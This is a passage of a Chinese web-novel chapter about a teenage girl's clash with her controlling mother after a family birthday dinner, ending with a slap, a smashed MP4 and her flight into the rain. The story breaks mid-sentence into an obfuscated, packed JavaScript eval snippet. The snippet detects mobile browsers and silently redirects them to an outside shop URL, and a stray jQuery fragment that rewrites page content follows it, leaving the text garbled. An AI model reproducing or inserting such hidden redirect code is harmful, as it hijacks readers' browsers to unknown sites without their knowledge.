陆云梅又笑着把目光转向大姨、二姨、舅舅家的几个儿子,语气熟稔又带着几分居高临下的指点。
“你们几个也得上心,读书不是给别人读的,现在不吃苦,以后就要吃生活的苦。你看你们现在贪玩,将来像我一样从底层爬起来,得多难。”
她话里话外都在炫耀自己如今的体面,也在暗暗数落别家孩子没有她教的优秀。
大姨二姨脸上笑着,眼底却明显沉了几分,谁也不爱在这种场合被人当众比下去。
舅妈更是端着茶杯,小口抿着,一言不发,脸色算不上好看。
外公外婆沉默不语。
一桌子的气氛,渐渐有些僵。
陆云梅还浑然不觉,转头就把沈勒川拉到身边,语气瞬间软得不像话,满眼都是藏不住的偏爱:“也就我们勒川最争气,都初三了,功课从不让我操心,老师次次点名表扬,性格又大方,将来肯定比他爸有出息。”
沈勒川一看气氛不对,立刻轻轻拉了拉陆云梅的胳膊,声音刚好能让周围人听见:“妈,您别这么说,表哥他们也很厉害,我还有好多要向他们请教的呢。”
他说着站起身,端起面前的果汁,先朝着外公外婆弯了弯腰:“今天是外婆六十大寿,我们不说别的,先祝外婆身体健康,长命百岁。”
然后又转向几位长辈:“大姨、二姨、舅舅、舅妈,我妈就是心直口快,你们别往心里去。我们这一辈,不管是谁有出息,都是家里的骄傲。”
外婆脸上立刻堆起笑容,伸手点了点沈勒川:“哎呦,还是我们勒川嘴甜。”
外公也跟着点头,拿起茶杯轻轻碰了一下:“好孩子,有心了。”
一桌子僵着的气氛,被沈勒川三两句轻轻带过,瞬间又热闹起来。
沈勒川真的很会说话,不像她和沈郁风,只能安静承受陆云梅的贬低。
外公目光一转,落在一直安静沉默的沈郁风身上,语气温和了不少:“郁风啊,你现在高考完了,报的什么学校、什么专业啊?”
“学医。”沈郁风道。
陆云梅脸上的笑容瞬间淡了,几乎是立刻就接了过去,笑着拍了沈郁风一下:“你看这孩子,就会胡说。”
“郁风成绩这么好,当然是要报清华了。哎,郁风青水都没什么主见,想一出是一出的,他们的志愿都是我填的。”
沈郁风懒得再说什么,低头轻笑了一下。
沈青水猜到沈郁风可能偷偷把志愿改掉了,心里忽然一阵轻松。
陆云梅见沈郁风不吭声,只当他是默认,脸上又恢复了那种掌控一切的温和笑意,转头便看向沈青水。
“青水是女孩子,我也不要求她多拼多厉害,安稳最重要。”
她语气笃定,像是在宣布一件早已敲定的事:“以后就考南京大学,离家近,我也放心,毕业回来找个稳定工作,安安稳稳过一辈子。”
“勒川呢,他就考个普通本科就可以。回来继承重阳的公司,安安稳稳呆在我们身边。”
沈青水注意到沈勒川的笑容僵了一瞬。
外公没听陆云梅说话,对着沈青水问道:“你想上什么大学?”
沈青水抬起眼,平静开口:“北大。”
陆云梅脸上的笑容当场停住,像是没料到她会当众反驳。她愣了一瞬,随即压低声音,语气里带着压不住的难堪和恼怒,强撑着笑瞪了沈青水一眼:
“你胡说什么?别在外边乱说话丢人。”
“就你这次的成绩,还想北大?说出去不怕亲戚们听了笑话。”
她声音压得很低,却字字扎人,像是在呵斥一个不知天高地厚、只会说大话的小孩。
“女孩子安稳一点就行,别好高骛远,尽给我找不自在。”
一直沉默吃饭的沈重阳,这时忽然放下了筷子,不轻不重开口:“孩子们的事,你管这么多干什么。”
声音不高,却刚好压过陆云梅的话音。
一桌人都愣了下,朝他看过去。
陆云梅脸色彻底挂不住,当着亲戚又不好发作,只狠狠压着声音呛了回去:“我不管谁管?难道等他们将来撞了南墙,才来怪我没提醒?”
“那也是他们自己选的。”沈重阳语气沉了几分,“你事事都攥在手里,他们什么时候才能长大。”
一句话戳中了陆云梅最敏感的地方,她嘴角绷紧,再没半分笑意。
这顿饭吃的都不顺心,陆云梅哪怕黑脸还是保持着她的骄傲。
车里的气氛比刚才的包厢还要压抑,空调吹着冷风,却吹不散陆云梅身上那股快要炸开的火气。
车子刚驶离饭店没多久,陆云梅就再也忍不住,声音尖锐地砸了过去:“沈重阳,你刚才是什么意思?当着那么多亲戚的面,故意拆我台是不是?”
“我为了谁?我不是为这个家吗?不是为孩子们好吗?”
“沈郁风考清华,沈青水安稳读个南大,哪里委屈他们了?一个两个都要跟我对着干!”
沈重阳握着方向盘,指节泛白,眉头拧得很紧:“我不是要拆你台,我是让你别把孩子逼得太死。他们有自己的想法,不是你的附属品。”
“附属品?”陆云梅笑出声,声音狠毒,“我拼了命爬到今天,我就是不想让他们走我的老路!你倒好,一句‘别管’,说得轻巧!”
“你根本不懂,没背景没靠山,一步错就是一辈子!”
沈重阳被她吵得头疼,忍无可忍,猛地一脚刹车踩在路边,车轮擦着地面发出一声刺耳的响。
他解开安全带,推门就下了车,车门被他摔得很响。
“你冷静点,我不想跟你吵。青水,跟我下车。”
沈青水不明所以,却还是跟了下去。
陆云梅一看他就这么丢下自己走了,瞬间炸了,也跟着推开车门,站在路边拔高声音骂:“沈重阳!你有种就别回来!家里什么事都是我扛,孩子是我管,现在你倒好,当起老好人了!”
“沈青水,你今天敢走试试!”
沈青水停下脚步。
沈重阳却头也不回的离开了,丝毫不管身后的闹剧。
沈青水突然觉得好累好累。
生活不仅是千斤重的压力,还有满地鸡毛。
魏之延,你是否还能救我于危难之际。
陆云梅看着她僵在原地、一声不吭的样子,所有被拂逆的怒火瞬间冲上头顶。
她几步上前,扬手就是狠狠一巴掌。
“我让你顶嘴!我让你给我丢人!我让你整天心思不在正地上!”
街边人来人往,纷纷驻足停目,观看这场闹剧。
沈青水只希望陆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488751|202141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
云梅能够意识到自己的行为有多丢人,然后赶紧上车离开,可是陆云梅没有。
陆云梅喘着粗气,视线死死落在她口袋微微鼓起的地方,想也不想伸手狠狠一抽。
是那台MP4,里面有她循环了无数遍的歌,有她深夜里唯一的安慰,有她只敢在心里默念的、关于那个少年的全部心事。
是她在这个家里,最后一点属于自己的东西。
沈青水终于慌了,伸手想要回来:“……别。”
可这个字,只让陆云梅更加认定这是让她“不学好”的祸根,她高高扬起手,狠狠砸向地面。
沈青水僵在原地,耳里嗡嗡作响,脸上的灼痛和心口的空茫一齐翻涌。
积压了一整晚的委屈、一整个青春的压抑,在这一刻彻底冲破了那层冷漠的壳。
她猛地抬起头,眼睛通红,声音嘶哑,第一次敢对着陆云梅歇斯底里地喊:“为什么!!”
“我想考北大有错吗?我想选择我自己的人生有错吗?我就不能有一点点自己的东西吗?!”
陆云梅被她突如其来的爆发愣了一瞬,随即更怒:“你还敢跟我吼?我是你妈!我做什么不是为了你?”
“为我?”沈青水笑了,笑得眼泪直流,“你是为了你自己的面子!为了你在亲戚面前炫耀!为了让我活成你想要的样子!”
“你从来没问过我想要什么!从来没问过我开不开心!连我一个小小的MP4你都要砸!你到底把我当什么?!”
她一字一句,哭得浑身发抖,把这么多年不敢说的话,一次性全都砸了出去。
陆云梅气得脸色发白,抬手又想打,却被沈青水狠狠瞪了回去。
路边的风忽然变凉,云层压得极低,几滴冰凉的雨砸在脸上,越来越密,越来越大,转眼就成了倾盆大雨。
雨水瞬间浇透了两个人,头发黏在脸颊,衣服湿透。
陆云梅被雨淋得一僵,怒火被浇灭大半,只剩下难堪和冰冷。
她看着眼前这个陌生又倔强的女儿,心里又气又恨,却再也骂不出来。
“……不可理喻。”她狠狠甩下一句,转身冲进雨里,拉开车门,重重关上。
车窗升起,把外面的雨、外面的争吵、外面的沈青水,全都隔绝在外。
雨越下越大,模糊了视线。
沈青水站在暴雨里,脸上分不清是雨水还是泪水。
她看着车里那个熟悉又陌生的母亲,看着这个让她窒息了十几年的家,忽然彻底死心。
她转过身,一步一步跑进了无边的雨幕里。
没有方向,没有目的,只想跑,直到精疲力尽。
雨水砸在地上,溅起一片冰冷的水花。
跑出去没多远,沈青水只觉得眼前猛地一黑,整个人跌倒在地。膝盖和手掌擦过地面,疼得钻心,混着雨水一起发麻。
她趴在地上喘了好几口气,才撑着发软的胳膊,一点点爬起来。
浑身湿透,头发凌乱,脸上全是水,狼狈到了极点。
她没有再跑,就那么蹲在大雨里抱着自己的膝盖,肩膀一抽一抽地发抖。
哭声被雨声吞掉,只剩下压抑到极致的哽咽。
在她以为自己要被这场大雨彻底吞没的时候,头顶的雨忽然停了,有一片阴影,轻轻罩住了她。